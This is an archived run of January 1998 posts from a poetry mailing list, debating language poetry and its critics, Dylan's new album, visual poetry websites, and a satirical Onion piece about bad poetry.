Tom Clark was one mean opponent whose chief exception to langpo (since he couldnt handle theory) was that they operated as a group, This was to overlook Tom Clark and his cronies in the late 60's with their "All Stars anthology" and attitude. Well, that and his objection to Watten as humorless. Let me assure those of you who have not felt the barb of BW's wit, that he is far from that.

What I say above concerning groups does not, in my opinion, apply to any entity that takes upon itself the responsibility for the entire poetic community, such as the newspaper Poetry Flash. Tom became a willing hitman for Poetry Flash. Read the xenofiles for '85. PF still has a virtual embargo on Langpoets, which soon will have been in place as long as the USA's, on Cuba. A couple of token comrades have been admitted. I myself became involved in a cyclone in '89 after PF published my report on the Objectivist Conference at Royaumont : a number of contribs--and a PF editor--tried to trash it and the Conference, because in their judgment, Langpoets had no right to confer about Objectivists. Certainly not if it involved flying them to France, rather than (I guess) card-carrying Objecitvist scholars and poets. I dont know where Joe was when "out of the country," but unless it was Bosnia, he probably had a quieter time than we did in SF. That cyclone whirled for 6 months.

Steve Benson, btw, is married, recently a father, living (quietly?) on the coast of northern Maine (hope they are ok thru this wretched weather). B-c me anyone who would like Steve's address. One of the two or three finest poets of performance in the anglophone world, and sorely missed by his friends and fans out here.

David

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460. Miekal And

Re: Whose Visual Poetics? The Intergalactic Hypertext Time Machine

Fri 16 Jan 1998

Todays venture on the Intergalactic Hypertext Time Machine with annotations by your humble psycho-navigator, Amendant Hardiker jerks & grumbles thru the transmogrified culture of visual poetry. Thus:

<This extrordinary hypertext essay chooses text/sound as its frame, which in many ways is the performative output of the visual text/score. A perfect starting

point as well for those who want to have a solid background on hypermedia poetry. Narrative as Genealogy: Sound Sense in an Era of Hypertext by Larry Wendt/>

http://cadre.sjsu.edu/switch/sound/articles/wendt/nghome.htm#sp

.....

<Patchen's picture-poems were an early high school inspiration to me,this site is the comprehensive Patchen site. Check out the 96 calendar, its worth the long download time to see these poempaintings in color. (Tho it certainly could be htmled in a browser-friendly manner)/>

Kenneth Patchen HomePage
http://ourworld.compuserve.com/homepages/Patchen/

.....

<I ran into the work of concrete poet Henry W. Targowski via a yahoo search for visual poets & bumped into Anachron City. The architectural metaphor of his world is a good example of what I was proposing about creating access into virtual communities, that the visual poetry world might be a shanty town of different visual poetry characters, even avatars, setting stakes around a larger more generalized virtual environment. At the rate of hardware/software evolution, vrml worlds will be accessible to a wide cross-section of internet users in 5 years (allow me a nostradomudance). Both for ease of creation & ease of navigation. Im operating here with 3 year old technology & I would say my computer only crashes half the time./>

Mark/Space Interplanetary Review
http://www.euro.net/mark-space/index.html

.....

<3ViTre Archive of Polypoetry has been founded by Enzo Minarelli in 1983. Its main role consists in gathering up systematically all that has been produced by poetical experimentation both at the visual and oral area (sound poetry, visual poetry) poetry performance and videopoetry. The Archive has up to now reached an amount over the 500 hours of sound poetry works which are collected in audiocassettes, records and CDs, including all the italian poets and a well documented range of the foreign ones. In the field of video-production, the Archive collection includes under the target ‘Videopoetry’ about two hundred hours of programs belonging to italian and foreign poets. Next to this cataloguing, 3Vitre Archive is involved in issuing or editing records, audiocassettes and CDs. With the aim of promoting even spreading the collected material, the Archive has been organizing since the first Eighties several events related to the field of poetical experimentation./>

MANIFESTO OF POLYPOETRY
http://www.iii.it/3vitre/saggi/emanif.htm

.....

<Poetry should be made by all; From hypertext utopias to cooperative net-projects netculture - cultural networks By Heiko Idensen/>

http://www.uni-hildesheim.de/ami/hypcolla/kollab.htm

.....

<Shozo Shimamoto is a japanese mailartist of the gutai tradition who became notable during 80s mailartdays for publishing/performing his works on his own shaven head./>

http://www.shozo-shimamoto.com/index.html

.....

<ULISES CARRION THE NEW ART OF MAKING BOOKS orignally published in Kontext 1975 is hosted on Gyoryy Galanti's ARTPOOL website. Artpool was instrumental in bringing together & promoting the work of eastern european visual poets in the days before the iron curtain rod broke. While these works arent accessible via the net, he remains a vast archive of these works, while still going strong with hosting installations, performances & publications./>

http://www.artpool.hu/bookwork/Carrion.html

.....

from
Zaum: The Transrational Poetry of Russian Futurism by Gerald Janecek,
from Chapter Nine: Zaum in Tiflis,1917-1921:KRUCHONYKH

http://www.thing.net/~grist/l&d/kruch/lkrucht1.htm

<Jim Andrews is a canadian visual poet whose work I was recently introduced to on the net*, his VisPo guests is a space which hosts kindred visual verbal installations. [*...which is to say that Im able to learn about visual/verbal lit in a way that is nearly as interactive as trading my work with others. Since trading has fallen off considerably these last years, other's must be thinking the same thing.]/>

http://www.speakeasy.org/~jandrews/vispo/guestartists.htm

.....

<Certainly Palindromes are visual poetry? Arshad's Palindrome Page is at:/>

http://www2.englib.cornell.edu/~at11/pal.html

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461. **Susan Wheeler**
Digest -- Coffey/Marcus/Dylan
Fri 16 Jan 1998

I haven't read the Marcus, although he's ventured these ideas in his Artforum column so they're not entirely new to me. But recently I saw Don't Look Back, the early study of Dylan and Baez on tour by DA Pennebaker, again. At the beginning of the film Dylan lands on UK shores and holds a glutted press conference in which he tries to answer questions, well, helpfully. He's game even for the most confrontive and/or stupid. During the course of the film, mostly in back-seat shots in which Baez eats fruit and looks out the window, Dylan reviews the press coverage of his tour with growing incredulity/amusement; these scenes are interspersed with more media-interaction scenes in which Dylan bridles and begins to hone an evasiveness that aids him in side-stepping any pigeon-holing. To me, it seemed like a natural and inevitable response to external pressure to impose perimeters to his (aesthetic) field (as well as to participate in the culture-promo industry -- he points out to a Time reporter pleading with him for an interview that he has filled Royal Hall without Time coverage). It's a response he has perfected since -- this is the great I'm-not-here-to-meet-your-expectations-&-I-don't-give-a-fuck quality on this new platter (as well as there in Maggie's Farm & earlier). I get a sense that for him it's a global, automatic mechanism, and so the Marcus thesis seems both self-evident to this listener and partial.

I'll see him with Van Morrison at the Garden Tuesday.

On the music/writing arena, does anyone else know the Canadian/UK book The Penguin that John Lennon wrote maybe c. 1970?

Susan Wheeler
[redacted]
voice/fax [redacted]

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462. **Jordan Davis**
Re: FYI (baby poet maudit alert)
Fri 16 Jan 1998

Rachel --

I liked the article in The Onion about Bill Gates getting 1.2 million hit points (from himself) better than the one about Bill Gates getting half. The classic though is the article that conclusively proves "Babies are stupid".

On Wisconsin --
Jordan

On Thu, 15 Jan 1998, Rachel Loden wrote:

> *Poeta nascitur, non fit?*
>
> *Study: Children of Divorce Twice as Likely to Write Bad Poetry*
>
> *http://www.theonion.com/onion3301/divorcepoetry.html*
>
> *Excerpts:*
>
> *"DURHAM, NC--A study released Monday by Duke University's Center for the American Family confirmed what many child-development experts have asserted for years: Children whose parents are divorced are twice as likely to compose bad poetry as those whose parents are married....*
>
> *"The Duke researchers also found a strong correlation between the nature of a particular divorce and quality of poetry. In 90 percent of divorces categorized as "amicable," the breakup results in rhyming poems, usually with irritating, "sing-songish" A-B-A-B rhyme schemes. The more acrimonious the split, however, the greater the odds of a child turning to other, more wretch-inducing poetic forms: Eighty-five percent of contested divorces end in free verse, the study found, and three in four divorces involving custody battles end in haiku...."*
>
> *[More like "retch-inducing," maybe?]*
>
> *Rachel Loden*

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463. **Mark Prejsnar**

Re: Freedom of Speech

Fri 16 Jan 1998

Uh,...You *talk* to your server? You vispo people are even stranger than I thought!

On Thu, 15 Jan 1998, Bob Grumman wrote:

> *Turns out the messages I tried to send to the list around 9:30 this morning never got beyond my server who had some kind of trouble he wasn't aware of till I called him around four this afternoon. Apologies to ye Guardians of the Buffalo List for my dark but amusing suspicions. But the timing of my server's problem WAS Very Weird!*
>
> *--Bob G.*

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464. **Alan Myouka Sondheim**
Christine Tamblyn
Fri 16 Jan 1998

I got a note from a friend in NYC that Christine Tamblyn died - she was a wonderful theorist, very supportive; we had our differences, but they melt away. I think of her like I think of Kathy Acker, and both died way before they should have, and there are no "shoulds" and I don't want Christine's death to go unmentioned here; you can read one of her essays in Vulvamor- phia, she did pioneer cd-rom work as well.

Alan

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465. **Michael Magee**
Re: dullard brutes of langpo
Fri 16 Jan 1998

from db: "I appreciate Joe Safdie's frankness. But sometimes it's more like a steamroller than a scalpel. The traits he attributes in one part to the langpos of sf en masse, turn out to be just those that he feels Barrett Watten possesses. Later in his post, he declares that langpoets (again en masse) were/are "devoid of humor and wit." Perelman? Benson? Harryman? Robinson? Four of the wittiest, funniest people I ever met!"

allow me to indulge in a brief and frivolous bit of elder worship (and after I just ranted about baby boomers too): Bob P. *is* the funniest poet I've ever met: "Labile, the man said, make mine labile." Langpos not funny? Sheesh! -m.

↑ Index

466. **Mark Prejsnar**
Re: schuster/dylan -Reply
Fri 16 Jan 1998

Susan, I think this is one of the main points, for me, about pop/rock/salsa/folk song (even rap when real good, tho' it may seem closer to speech): people on the list like this kinda stuff because it's *music*...In some sense the words (tho' very important indeed) have a function in relation to the musical/performative character of a song. (Which is why the well-intentioned populism of high-school and college teachers post-1965 was/is so off-base: you know, those folks who always thought they were getting students "interested in poetry" by analyzing Blowin in the Wind or Elinor Rigby *on the page* with minimal or no reference to the music). I'd argue that most of us aren't *asking the same questions*

(about sentiment or mainstream conventionality) of Dylan songs, that we ask of a Richard Wilbur poem. (and anyway Wilbur's harp-playing isn't as good)

Mark P.

On Thu, 15 Jan 1998, Susan Schultz wrote:

> *Just got the tape; I especially liked the line before by a woman who says to the Dylan-narrator, "You don't read women writers, do you?" The response of "I do, I read Erica Jong" (or whatevahs) is surely ironic. What gets me about the album, in the context of all the discussion on this list, is how scenic-mode-official-lyric-culture-univocal it is. Does the music, mainly blues inflected, really draw us to such an extent to something many on this list (if not the langpo bashers, whoever they are) heartily disapprove of? It's all about love and loss, love and loss--and Tom, those themes _are_ ones that young people tap into, no? Or was I just warped? Ok, I was, no matter. Lots of sentiment and cliches. Does "sentiment" now belong in songs, but not in poems? But I, for one, have enjoyed my first couple of listens to it in my car driving through the Koolau tunnels to work (the album is tropical only in the linguistic sense...).*
>
> *Susan*
>
> *On Thu, 15 Jan 1998, Robin Morris wrote:*
>
> *I'm not sure I follow your logic here: is Jong being read by young women (by anyone) these days? I consider her someone who seemed "liberated" half a lifetime ago, but is a more than a little beside the point nowadays. The biggest belly laugh I got from the album on my first couple of hearings was from that line. He's got to be sarcastic, right, affirming how little he cares or knows about feminist issues.*
>
> *Robin*
>
> *I like the new dylan album very much. It's tightly put together but it's in a gunny sack of sound. And in one song, the narrator cites his reading of Erica Jong as evidence that he is sensitive to women, so if he is aware of a possible generational divide, he is unbothered by it. It is the irreverent unrepentant dylan at top form, with the great swirling Wurlitzer organ in many of the cuts.*
>
> * * * * * * * * *
>
> *Robin A. Morris*
>
> [redacted]
>
> *Home page: http://www-unix.oit.umass.edu/~ramorris*

> ---
>
> *Susan M. Schultz*
> *Dept. of English*
> *1733 Donaghho Road*
> *University of Hawai'i-Manoa*
> *Honolulu, HI 96822*
>
> *http://writing.upenn.edu/epc/authors/schultz*
> *http://writing.upenn.edu/epc/ezines/tinfish*

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467. **Mark Prejsnar**

Re: FYI (baby poet maudit alert)

Fri 16 Jan 1998

Rachel-- this is a brilliant addition to the previous badpo thread (which started with discussion of the Canadian guy who sells his anthology of bad poetry on the street...) But this is a joke and you wrote it, right.....*right??*.....!!!

On Thu, 15 Jan 1998, Rachel Loden wrote:

> *Poeta nascitur, non fit?*
>
> *Study: Children of Divorce Twice as Likely to Write Bad Poetry*
>
> *http://www.theonion.com/onion3301/divorcepoetry.html*
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>
> *"The Duke researchers also found a strong correlation between the nature of a particular divorce and quality of poetry. In 90 percent of divorces categorized as "amicable," the breakup results in rhyming poems, usually with irritating, "sing-songish" A-B-A-B rhyme schemes. The more acrimonious the split, however, the greater the odds of a child turning to other, more wretch-inducing poetic forms: Eighty-five percent of contested divorces end in free verse, the study found, and three in four divorces involving custody battles end in haiku...."*

> *[More like "retch-inducing," maybe?]*
>
> *Rachel Loden*

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468. **Mark Prejsnar**
Re: dullard brutes of langpo
Fri 16 Jan 1998

Bromige's posting on langcomedians is first rate. Forgot to list the slapstick grouping (led by Chuck "Little Tramp" Bernstein).

Really, and seriously, that was a great post. You hit the head on the nail especially when you noted that Clark hates the langsters *because they are a group*....This is a very U.S. response. And in my opinion this resentment of people for their collective work is almost always present in lang-bashing. What's so preposterous about it, obviously, is that the langsters have always been, even at their most group-identish, an exceptionally loose and tolerant and vague kind of collective! But no one ever got poor overestimating the virulence of U.S. ultra-individualism.

Mark P.

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469. **Elizabeth Hatmaker**
Re: dylan vs. poetry
Fri 16 Jan 1998

Wasn't "Come Live with Me and Be My Love" also performed in the film Valley of the Dolls by the lounge singer character who married one of the leads-- she who later found out he was pretty badly developmentally disabled? Am I thinking of the same song?

E. Hatmaker

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470. **Bob Grumman**
Re: Whose Visual Poetics?
Fri 16 Jan 1998

Danny:

I now deem this little controversy over the Perloff Seminar an unqualified success! Why? It has now produced your infra-verbally delightful word "sylladiss!" Much thanks!

And I agree that "It doesn't take a full-scale conference to make a counterstatement... unless your mind is 'geared to career-lane functioning.'" It's just that me and my pals (and a lot of other people in the field that I don't know) have been making one-poet and two-poet counterstatements for many years with almost no effect on the big world, so it's hard not too be a little impatient, and perhaps get over-irked when someone with some clout like Marjorie Perloff seems so overtly to overlook us.

I'm wholly confident that our counterstatements WILL take effect eventually, though--and maybe this mini-brouhaha will ignite some more visible counterstatement. Meanwhile, I've got to get my sputtering for the year out (my year being up on Groundhog/Joyce Day, my birthday).

Apologies for (but not retraction of) the condescension, and I'll hold you to your promise of coffee money!

--Bob G.

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471. William Shakespeare
Re: dullard brutes of langpo
Fri 16 Jan 1998

Let those who are in favor with their stars
Of public honour and proud titles boast,
Whilst I, whom fortune of such titles bars,
Unlook't for joy in that I honour most.
Great princes' favourites their fair leaves spread
But as the marigold at the sun's eye,
And in themselves their pride lies buried,
For at a frown they in their glory die.
The painful warrior famoused for fight,
After a thousand victories once foil'd,
Is from the book of honour razed quite,
And all the rest forgot for which he toil'd:
  Then happy I, that love and am belov'd,
  Where I may not remove nor be remov'd.

Sonnet 25

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472. Bob Grumman
Re: (antilangpo?) stunned. very stunned. (ringo)
Fri 16 Jan 1998

I consider this list clearly a langpo center; thus langpo gets discussed a lot; thus anti-langpo comments (and negative comments about langpo eminences like Marjorie Perloff) HAVE to come up. And it's easy for a super-sensitive partisan like Dr. Dunn to decide from a few negative comments that "'language poet' seems to be a pejorative term on this list."

Thinking about it, I can't remember "visual poet" ever drawing a negative comment." Visual poetry is not discussed enough, or visible enough to draw fire, I suspect.

--Bob G.

anyone to get emotionalhostile

↑ Index

473. DANIEL L. COLLIER
Re: Whose Visual Poetics?
Fri 16 Jan 1998

Hi Bob,

It doesn't take a full-scale conference to make a counterstatement... unless your mind is "geared to career-lane functioning." Take it as naive if you will, but I think even *one* person giving a reading at a coffee shop has an effect.

As I see it, you're definitely being sylladissed (new word for you)... but Marjorie Perloff's not the Visual Poetics Antichrist. She'd mention any readings/shows you put together & some curious someone would come, just as I've been checking out the web sites and printing out the book references mentioned in this thread. Print them out and distribute them at your reading... your conference will happen in individual heads.

But I *was* wrong about one thing: this doesn't have to take much energy.

Let me know if you hold a reading & I'll donate some money for coffee.

Danny.

"Daleko, daleko..." - DDT

Hi, Danny:

I hate to sound condescending but while I'm sure your
suggestion that
"the Visual Poetics community . . . organize readings/lectures/

performances/shows to complement (Marjorie Perloff's) course and to
compensate for perceived weaknesses/biases in her syllabus" is
well-intentioned, it's a little naive. First off, Dr. Perloff's show is
already running. Second, the community I've been talking about (I'd
call it the community of unrecognized visual poets rather than THE
visual POETICS community, which shows you how nit-picking I can be), is
scattered and unwealthy. It'd be very hard, whatever the energy
available, to throw together ANY reasonably representative vispo
reading ANYwhere in the country. The only recent one of any magnitude
was the one in Edmonton, which had money troubles though backed by a
university department. Even putting together a representative anthology
of vispo has proved so far too much for us. The real problem seems to
be that we're a community of artists, not a community of academics. Our
minds aren't geared to career-lane functioning.

Finally, inasmuch as Dr. Perloff has left all material published by the
people in our group off even her list of recommended publications, I
rather doubt that she'd encourage attendance at any reading series we
could put together. I suppose she'd have to mention it, as she has
been said to have mentioned some of the websites our group has work at,
though not the main one, Light & Dust, but more than that . . . well,
I'm still awaiting evidence of any real openness on her part to our group.

--Bob G.

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474. Douglas Barbour
Re: talking about poetry rather than 'just' Dylan
Fri 16 Jan 1998

Getting too far behind, but Mark P's comments on Mark W's poetry does hit home, & I'm ashamed to have forgotten Mark W's book(s) when I listed some of the really good stuff Ive read lately. But memoru doesnt always serve.

I take the point that it would be good to say something about those books, but I dont have much time this ay em to do so. On the other hand, getting the digest, I see that this 'turn' of the conversation has definitely expanded the whole thing, so it seems 'we' can & do get going over poetry once the glove is thrown...

==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

bait, and said something about needing the music to go along with the words before he could make an assessment. Stamberg all-too-quickly obliged by humming (and humming badly) the melody to the song, to which Merrill replied, "Hardly Mozart."

-- Fred M.

****
Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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476. Fred Muratori
Langpocomics
Fri 16 Jan 1998

> *Bromige's posting on langcomedians is first rate. Forgot to list the slapstick grouping (led by Chuck "Little Tramp" Bernstein).*
>
> *Mark P.*

And let's not forget the unwitting pioneers of langpocomedy: Lord Buckley, Prof. Irwin Corey, and (from the somewhat less improvisational langpocomedy-clubs in Vegas and the Catskills) slammaster Norm Crosby. Unless I miscon-screw.

****
Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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477. **d powell**
Re: dylan vs. poetry
Fri 16 Jan 1998

"Come Live Me and Be My Love" was also the basis for the song that Tony sang in "Valley of the Dolls" and that later momentarily revived him when he heard Neely O'Hara singing it in the sanitorium.
==========
D A Powell [redacted]
==========

Steve Shoemaker wrote:
>One of my fave popcult moments of recent times was in the >"modernized"
>Richard III film, when "Come Live with Me and Be My Love" (a.k.a >The
>Passionate Shepherd etc etc) was performed as a 1940s-style pop >number. s
>
>
>
>At 09:10 AM 1/15/98 -0800, you wrote:
>>Tom Mandel wrote:
>>
>>>Too big for me to undertake with a lunch meeting in 90 minutes. >But, I'd
>>>just point out what happens, for example, to a poem when it's >set to music.
>>>It is substantially reduced in its language-effect. It >immediately becomes
>>>something quite different from itself. It can be a great work >(recommend
>>>song-cycles and settings by Berlioz, Mahler, Milhaud, Poulenc, >Lutoslawski,
>>>etc.), but you're not getting direct access to any part/place >of/in the
>>>poem any longer.
>>>
>>>"But poetry once *was* a musical art. The Psalms? Sappho?" Oral >shape, oral
>>>memory are different media from those of writing. Once you >could write down
>>>thoughts, everything changed. Poetry changed.
>>
>>But we don't need to go back to an idealized oral antiquity to >supply
>>examples of poetical-musical compatibility. What about >Elizabethan
>>ballads, Blake, even Ginsberg? One could argue that "poems" >like "Come
>>Live with Me and Be My Love" or "When to Her Lute Corrina Sings" >are

>>"substantially reduced" in their "language-effect" precisely >because of
>>being _removed_ from their musical settings, as they are in >their
>>Nortonized fossil-existences. I'm not sure, however, that one >wants to go
>>there in either case, as what happens is one ends up committed >to a
>>principle of preservation of the originary moment of creation, >with all
>>that baggage of intention and other bugbears.
>>
>>My main point, I suppose, is that "direct access" is a problem >no matter
>>what; if being set to music closes off certain (imagined?) >points of entry
>>into a poem, so does a shift from manuscript to type, or from >one printed
>>format to another, or from being read silently to being read >aloud, or from
>>being read on Tuesday to being read on Friday. Conversely, a >musical
>>context might open up latent areas of signification unavailable >on purely
>>textual reading. A friend of mine picked up his guitar one day >and belted
>>out an impromptu country-western rendition of "Do Not Go Gentle >into
that
>>Good Night"--the printed version has seemed flat to me ever >since. And of
>>course, there's the old observation that you can sing the >beginning to
>>_Paradise Lost_ to the tune of the _Flintstones_ theme. This >kind of
>>backwards historical contamination operates, albeit in less >violent
>>degrees, on much of what we read, hear, etc.
>>
>>imagine what revisions, thitherto undreaded, might emerge from >an
>>'80s-style West-coast hardcore version of "The Love Song of J. >Alfred
>>Prufrock," or a polka treatment of Bob Perelman's "Chronic >Meanings."
>>
>>Um, Bob Dylan: he's that old guy, right?
>>
>>Kasey Hicks
>>
>>
>
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>Subject: Re: dylan vs. poetry
>To: [redacted]
>
>

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478. **d powell**

Re: Whose Visual Poetics?

Fri 16 Jan 1998

Put me down for a donation of two dozen cookies.

==========
D A Powell [redacted]
==========

> *But I *was* wrong about one thing: this doesn't have to take much energy.*
>
> *Let me know if you hold a reading & I'll donate some money for coffee.*
>
> *Danny.*
>
> *"Daleko, daleko..." - DDT*
> ---

Hi, Danny:

I hate to sound condescending but while I'm sure your suggestion that "the Visual Poetics community . . . organize readings/lectures/ performances/shows to complement (Marjorie Perloff's) course and to compensate for perceived weaknesses/biases in her syllabus" is well-intentioned, it's a little naive. First off, Dr. Perloff's >show is already running. Second, the community I've been talking about (I'd call it the community of unrecognized visual poets rather than THE visual POETICS community, which shows you how nit-picking I can be), is scattered and unwealthy. It'd be very hard, whatever the energy available, to throw together ANY reasonably representative vispo reading ANYwhere in the country. The only recent one of any magnitude was the one in Edmonton, which had money troubles though backed by a university department. Even putting together a representative anthology of vispo has proved so far too much for us. The real problem seems to be that we're a community of artists, not a community of academics. Our minds aren't geared to career-lane functioning.

Finally, inasmuch as Dr. Perloff has left all material published >by the people in our group off even her list of recommended publications, I rather doubt that she'd encourage attendance at any reading series we could put together. I suppose she'd have to mention it, as she has been said to have mentioned some of the websites our group has work at, though not the main one, Light & Dust, but more than that . . . well, I'm still awaiting evidence of any real openness on her part to >our group.

--Bob >G.

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From: "DANIEL L. COLLIER" <[redacted]>
Subject: Re: Whose Visual Poetics?
To: [redacted]

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479. **Harold Rhenisch**

Expression/Self-Expression

Fri 16 Jan 1998

Sorry, Bob,

that 'express' thing's just so close to 'self-expression' I get scared, I see language sliding away into unconsciousness....

The question that I was muddily circling, like a carp on the bottom of a murky pond in some zoo where there are a lot of ducks eating bread crusts, is:

Does poetry express?
and its twin: Do words express?

To say that a textual poem that vividly brings to life some visual image is "expressive-of-the-visual" doesn't sound right to me. It seems to me that the poem is the visual, just as a painting is visual. It doesn't stand at a remove from it. The painting can be representational or not, but it is always visual, although it is not un-mediated perception. It's a structure that sets up the possibility of transfer of certain information.

On the other hand, such a textual poem is not the same as one where the actual visual layout of components on the page or screen or brick wall or wherever is transferring the information. You're right, some distinction needs to be made.

I just don't see the two as being as different as I sense you do. I have a sense that it is the same impulse, with different tools, different viewing mechanisms, different technology. In that regard, the poem laid out visually, the concrete poem, for instance, is also "expressive-of-the-visual". If that's the case, I doubt the term is doing the work you're asking of it.

I can't do it, Bob. I can't use that word in good conscience. I'm trying, but I'm cringing here.

Let me try again: "Ex p p pp rrr e ssssssssssss!"

Hurts.

As for words being... "that word" ...well, I've thought for a few years now that they were containers, holding material. A kind of shorthand. Say "tree", you get a vast history of usage and perception. Plunk it down. Stick something next to it. Pretty soon, the mind can wander through this world, and it is the world, but perceived differently than with biological technology. That's not "that word", though. It's visual, but differently visual.

It's like divining by throwing coloured beans on a cloth.

If the mind's not obsessed with a conception of 'self', then this "that word" thing is not right. It's a transitional term, then. I'd like to see some term which speaks of what is actually going on, because it's a very interesting story.

"meta-visual" doesn't say what's going on, really, but it doesn't use "that word". Could it serve as a temporary substitute, like a sticky note, with a grocery list scribbled on it?

I mean no disrespect. On the contrary, your taxonomies are always most useful. In this case, I think there's more going on.

Cheers,

Harold

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480. **hen**
Re: dullard brutes of langpo
Fri 16 Jan 1998

On groups in poetry:

Is it necessary to line up for or against groups & their activities in poetry or other arts? Groups have their positive & their negative aspects, with regard to both production and reception. In fact, since we are (by Dante's definition) "the companionable animal", groups are unavoidable, essential.

However, all that doesn't keep me from believing that the most intense & compelling realities of making poetry (on the one hand), and reading/hearing/ understanding it (on the other), happen to individuals, often quite solitary individuals. A corollary of this is that the poet's pantheon of heroes and influences, unlike the conscientious critic or scholar's - the poet's sense of literary history - will be absolutely personal, based on all sorts of private, conscious & subconscious, literary & extra-literary, LOVES & HATES. The poet doesn't care if there is no arguable relation between, say, Hart Crane and Osip Mandelstam; he or she will MAKE the relation if necessary. All this is of very little interest to literary politicians always targeting what's "useful" or "new" or "correct" or whatever. And though criticism & poetry support one another to some extent, there will always be that little gap, that difference, too. - Henry Gould

p.s. I would also hold that the individuality involved in making poetry inheres, to some extent, in the artwork itself; so that there's always more THERE than will fit into any group trends or classification systems.

p.p.s. Montale once criticized Italian intellectuals, always eager to articulate & take sides in political debates, who also claimed to be artists. He said

something like: "I don't deny the genuine seriousness of their social commitment; I simply deny that they are free men." I know how recherche & unfashionable all this sounds... hey, what IS a free man? Or woman?

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481. **Matthew Stadler**
Re: FYI (baby poet maudit alert)
Fri 16 Jan 1998

The piece on bad baby poets is from The Onion, a satirical newspaper in Madison, WI, which was founded by Tim Keck (and others), who now publishes The Stranger, a weekly in Seattle, where I'm now typing this note. Matthew Stadler

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482. **Eryque Gleason**
Re: (antilangpo?) stunned. very ...
Fri 16 Jan 1998

---

funny, my take was that there were language poets present, poets that deny being language poets as others will label, people that just aren't language poets, people that are anti-language poetry, and those that choose to stay out of it.

in other words, there just ain't one pov 'round here.

eryque

On Thu, 15 Jan 1998, George Bowering wrote:

> *I too was puzzled by Ms Dunn's notion that this list was anti-LangPo. I have always thought that it was made up of people who are either Language Poets pr assume that the Language Poets are the main thing or one of the main things. Maybe she got crossed between this list and the one we hear about from time to time, the one about the strangely named new Formalists.*
>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]

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483. **david bromige**
[redacted] ***deliberately omitted***
Fri 16 Jan 1998

Thanks, Mark. But I didn't forget Chas, I left him out because I understood Joe Safdie to be addressing his problem with the west coast Langpoets.

Would also remark that a number of Langpos didnt suffer fools gladly--so I can't agree to the "vague" in yr characterization, and even the "loose" hardly fits my recollection of public correction during post-talk discussions. But humor there always was. Humor is serious business, and vice versa. Language is inevitably funny, if you look long enough.

Hugh Steinberg told me the other night about a T-shirt he'd had made up, with pictures of Groucho, Chico and Harpo--and "Carlo". It would have been fun if everyone had turned up one evening at the Perelman/Shaw loft talks, or at an 80 Langton St event, wearing the same. "False Portrait" of the Language School.

David

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484. **d powell**
Re: Saturday readings
Fri 16 Jan 1998

Laura,

The flyer I received regarding the Avec reading said the reading was at A Clean, Well-Lighted Place for Books on Van Ness, not the Luggage Store. I'm confused.

Doug

==========
D A Powell [redacted]
==========

LAURA MORIARTY wrote:
>I seem to be having two of them:
>
>This Saturday, the 17th, at the Luggage Store gallery at 1007 >Market
>(Market and 6th in SF) at 8:00 I will be reading with Arnold Kemp >and
>possibly Jack Hirschman - The current show there has to do with >emotional
>and psychic baggage so I will be reading from my luggage-related >work. (I

>actually have such work as I have just finished a manuscrpt >called The
>Case.)
>
>The Luggage Store is a new reading venue. Leslie Scalapino is >doing a
>performance there with a performance artist whose name I can't >remember
in
>February in the store window that will also include a pile of >dirt or
>possibly mud. More about this later.
>
>Also Saturday 31 January there will be a group reading for the >new Avec
>Sampler which will include Lissa McLaughlin, George Albon, >Stephen-Paul
>Martin and myself.
>
>Laura Moriarty
>
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>Subject: Saturday readings
>To: [redacted]
>
>

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485. **Thomas Bell**
Re: FYI (baby poet maudit alert)
Fri 16 Jan 1998

Does this also mean that
Children of Divorce are more likely to write poetry?
Children of bad poets are more likely to divorce. - I worry
about mine in any case.

What is BAD POETRY?

tom bell

At 08:43 AM 1/16/98 -0500, Jordan Davis wrote:
>Rachel --
>
>I liked the article in The Onion about Bill Gates getting 1.2 million hit
>points (from himself) better than the one about Bill Gates getting half.
>The classic though is the article that conclusively proves "Babies are
>stupid".
>
>On Wisconsin --
>Jordan
>
>On Thu, 15 Jan 1998, Rachel Loden wrote:
>
>> Poeta nascitur, non fit?
>>
>> Study: Children of Divorce Twice as Likely to Write Bad Poetry
>>
>> http://www.theonion.com/onion3301/divorcepoetry.html
>>
>> Excerpts:
>>
>> "DURHAM, NC--A study released Monday by Duke University's Center for
the
>> American Family confirmed what many child-development experts have
>> asserted for years: Children whose parents are divorced are twice as

>> likely to compose bad poetry as those whose parents are married....
>>
>> "The Duke researchers also found a strong correlation between the nature
>> of a particular divorce and quality of poetry. In 90 percent of divorces
>> categorized as "amicable," the breakup results in rhyming poems, usually
>> with irritating, "sing-songish" A-B-A-B rhyme schemes. The more
>> acrimonious the split, however, the greater the odds of a child turning
>> to other, more wretch-inducing poetic forms: Eighty-five percent of
>> contested divorces end in free verse, the study found, and three in four
>> divorces involving custody battles end in haiku...."
>>
>> [More like "retch-inducing," maybe?]
>>
>> Rachel Loden
>>
>
>

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486. **Thomas Bell**
Re: Whose Visual Poetics?
Fri 16 Jan 1998

Bob,

Perhaps could be an impetus for an on-line seminar,
counterstatement, or? Or do many of these "people in the
field not have computer access, not being academically affiliated
or heaven forbid not even computer-affluent.
tom bell

At 09:54 AM 1/16/98 -0500, Bob Grumman wrote:
>Danny:
>
>I now deem this little controversy over the Perloff Seminar an
>unqualified success! Why? It has now produced your infra-verbally
>delightful word "sylladiss!" Much thanks!
>
>And I agree that "It doesn't take a full-scale conference to make a
>counterstatement... unless your mind is 'geared to career-lane
>functioning.'" It's just that me and my pals (and a lot of other people
>in the field that I don't know) have been making one-poet and two-poet
>counterstatements for many years with almost no effect on the big world,

>so it's hard not too be a little impatient, and perhaps get over-irked
>when someone with some clout like Marjorie Perloff seems so overtly
>to overlook us.
>
>I'm wholly confident that our counterstatements WILL take effect
>eventually, though--and maybe this mini-brouhaha will ignite some more
>visible counterstatement. Meanwhile, I've got to get my sputtering for
>the year out (my year being up on Groundhog/Joyce Day, my birthday).
>
>Apologies for (but not retraction of) the condescension, and I'll hold
>you to your promise of coffee money!
>
> --Bob G.
>
>

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487. **david bromige**
dylan/poetry
Fri 16 Jan 1998

---

clothesline saga

after a while we took in the clothes
